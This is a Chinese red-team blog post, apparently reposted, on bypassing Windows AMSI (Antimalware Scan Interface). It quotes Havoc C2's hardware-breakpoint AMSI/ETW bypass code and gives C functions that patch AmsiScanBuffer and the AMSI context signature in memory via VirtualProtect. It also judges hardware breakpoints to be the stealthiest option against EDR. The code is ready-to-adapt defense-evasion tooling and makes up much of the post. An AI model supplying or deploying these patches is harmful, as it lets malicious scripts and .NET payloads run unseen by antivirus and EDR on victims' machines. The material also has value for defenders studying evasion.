文章总结: 本文详细介绍了AMSI(反恶意软件扫描接口)的工作原理及多种绕过技术,包括修补内存区域、阻止DLL加载和硬件断点等方法。文章指出AMSI绕过主要在PowerShell执行或内存加载.NET时才需要,并提供了Havoc框架处理AMSI的逻辑示例。作者认为硬件断点方法更隐蔽,不易被EDR检测,是当前较为有效的AMSI绕过方案。 综合评分: 85 文章分类: 漏洞分析,渗透测试,红队,安全工具,免杀
随意控制你的AMSI
巡音安全
2025年10月10日 15:39 广西
反恶意软件扫描接口 (AMSI)最为对于powershell和.net程序集的检测尤为重要,本文旨在总结AMSI bypass的方法以及效果
什么时候需要绕过 AMSI?
现在绝大多少的Shellcode加载器都会添加ByPass AMSI的功能,并且指出通过ByPass AMSI or ETW就可以绕过检测,执行所谓的shellcode,对于我们来说ByPass AMSI对shellcode的执行无关紧要
如果你的C2框架有对应BOF 或 COFF执行的功能,添加ByPass AMSI的功能毫无意义,反而有可能因此添加更多的IOC
在我们使用bof加载时,无需处理amsi,defender依旧不会告警
只有Powershell 中的 Invoke-Expression或者执行内存加载.net时我们才需要处理amsi
参考Havoc处理AMSI的逻辑
只有在内存加载时才处理AMSI以做到更好的规避性
https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Dotnet.c
#if _WIN64
PUTS( "Try to patch(less) Amsi/Etw" )
PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID );
PackageAddInt32( PackageInfo, DOTNET_INFO_PATCHED );
/* check if Amsi is loaded */
AmsiIsLoaded = TRUE;
if ( ! Instance->Modules.Amsi ) {
AmsiIsLoaded = RtAmsi();
}
PUTS( "Init HwBp Engine" )
/* use global engine */
if ( ! NT_SUCCESS( HwBpEngineInit( NULL, NULL ) ) ) {
return FALSE;
}
ThreadId = U_PTR( Instance->Teb->ClientId.UniqueThread );
/* add Amsi bypass */
if ( AmsiIsLoaded )
{
PUTS( "HwBp Engine add AmsiScanBuffer bypass" )
if ( ! NT_SUCCESS( Status = HwBpEngineAdd( NULL, ThreadId, Instance->Win32.AmsiScanBuffer, HwBpExAmsiScanBuffer, 0 ) ) ) {
PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status )
return FALSE;
}
}
/* add Etw bypass */
PUTS( "HwBp Engine add NtTraceEvent bypass" )
if ( ! NT_SUCCESS( HwBpEngineAdd( NULL, ThreadId, Instance->Win32.NtTraceEvent, HwBpExNtTraceEvent, 1 ) ) ) {
PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status )
return FALSE;
}
PackageTransmit( PackageInfo );
PackageInfo = NULL;
#endif
跟踪代码可以大致看到Havoc处理AMSI的逻辑
在内存中直接修改 amsi.dll 的关键函数(如 AmsiScanBuffer 或 AmsiOpenSession),使其返回“干净”(clean)结果,从而绕过扫描
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi) {
FARPROC pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
if (pAmsiScanBuffer) {
DWORD oldProtect;
VirtualProtect((LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)pAmsiScanBuffer = 0xB0; // mov al, 0x1
*(BYTE*)((BYTE*)pAmsiScanBuffer + 1) = 0x01;
*(BYTE*)((BYTE*)pAmsiScanBuffer + 2) = 0xC3; // ret
VirtualProtect((LPVOID)pAmsiScanBuffer, 1, oldProtect, &oldProtect);
}
言归正传,让我们看一看AMSI的实现原理以及绕过手法
AMSI 的工作原理
-
AMSI DLL (amsi.dll)
: 提供核心接口和函数,位于 C:\Windows\System32\amsi.dll。
-
防病毒引擎
: 如 Windows Defender 或第三方 AV/EDR(如 CrowdStrike、Symantec),通过 AMSI 与操作系统集成。
-
应用程序或运行时
: 支持 AMSI 的应用程序(如 PowerShell、VBScript、.NET CLR、WScript 等)会调用 AMSI 函数。
我更倾向于认为AMSI 主要是基于签名的检测。与传统的基于签名的检测的主要区别在于,这些签名是在运行时查找的,只有从内存中加载了潜在的恶意内容才会触发AMSI的扫描
如何绕过
- 修补内存区域
- 使用向量异常处理程序和硬件断点等来操纵工作流程
- 创建新进程,并通过各种方式阻止相关 DLL 加载
让我们来探讨第一种修补内存的方式
这里主要由两种方式来实现来实现
修补 AmsiOpenSession
BOOL PatchAmsiScanBufferJe(IN PBYTE pAmsiScanBuffer) {
PBYTE px74Opcode = NULL;
DWORD i = 0x00,
dwOldProtection = 0x00;
if (!pAmsiScanBuffer)
return FALSE;
// A while-loop to find the last 'ret' instruction
while (1) {
if (pAmsiScanBuffer[i] == x64_RET_INSTRUCTION_OPCODE && pAmsiScanBuffer[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pAmsiScanBuffer[i + 2] == x64_INT3_INSTRUCTION_OPCODE)
break;
i++;
}
// Searching upwards for the first 'je' instruction
while (i) {
if (pAmsiScanBuffer[i] == x64_JE_INSTRUCTION_OPCODE) {
px74Opcode = &pAmsiScanBuffer[i];
break;
}
i--;
}
if (!px74Opcode)
return FALSE;
// Change memory permissions to RWX
if (!VirtualProtect(px74Opcode, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection))
return FALSE;
// Apply the patch
*(BYTE*)px74Opcode = x64_JNE_INSTRUCTION_OPCODE;
// Change memory permissions to original
if (!VirtualProtect(px74Opcode, 0x01, dwOldProtection, &dwOldProtection))
return FALSE;
return TRUE;
}
修补 AMSI 上下文结构
BOOL PatchAmsiSignature(IN PBYTE pAmsiFunc) {
PBYTE px74Opcode = NULL;
DWORD i = 0x00,
dwOldProtection = 0x00;
if (!pAmsiFunc)
return FALSE;
// A while-loop to find the last 'ret' instruction
while (1) {
if (pAmsiFunc[i] == x64_RET_INSTRUCTION_OPCODE && pAmsiFunc[i + 1] == x64_INT3_INSTRUCTION_OPCODE && pAmsiFunc[i + 2] == x64_INT3_INSTRUCTION_OPCODE)
break;
i++;
}
// Searching again for the amsi signature address
for (DWORD x = 0; x < i; x++){
if (*(ULONG*)(pAmsiFunc + x) == AMSI_SIGNATURE) {
pAmsiSignature = &pAmsiFunc[x];
break;
}
}
if (!pAmsiSignature)
return FALSE;
// Change memory permissions to RWX
if (!VirtualProtect(pAmsiSignature, 0x01, PAGE_EXECUTE_READWRITE, &dwOldProtection))
return FALSE;
// Apply the patch - Replacing the first byte in the original signature to a random byte
*(BYTE*)pAmsiSignature = 0x43;
// Change memory permissions to original
if (!VirtualProtect(pAmsiSignature, 0x01, dwOldProtection, &dwOldProtection))
return FALSE;
return TRUE;
}
但是无一例外都有VirtualProtect的调用
像如 CrowdStrike、Microsoft Defender for Endpoint这类高端edr都可以通过行为分析、内存扫描或异常调用检测(对于 VirtualProtect 使用)识别修补行为从而阻止patch的发生
创建新进程,并通过各种方式阻止相关 DLL 加载
这种方式对于beacon来说并不怎么友好
EDR可能监控 SetDefaultDllDirectories
硬件断点结合返回值修改
内存修补限制的发现引发了安全社区对替代方法的兴趣,硬件断点成为一种引人注目的解决方案。这些断点具有显着的优势:它们在用户空间中运行,无需规避钩子,保持目标 DLL(如 amsi.dll)的完整性,并且对于寻找作的典型内存扫描程序保持不可见。根据我自己的实践经验,我注意到很少有 AV 或 EDR 供应商能够检测在运行时通过硬件断点实现的 AMSI 绕过。这可能是由于它们的有效性,也可能是因为此类检测在实践中很少见。
我们可以在运行powershell和.net程序集时先通过硬件断点hook返回值然后执行
结束后通过unhook恢复挂钩达到更好的规避性
查看原文:《随意控制你的AMSI》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论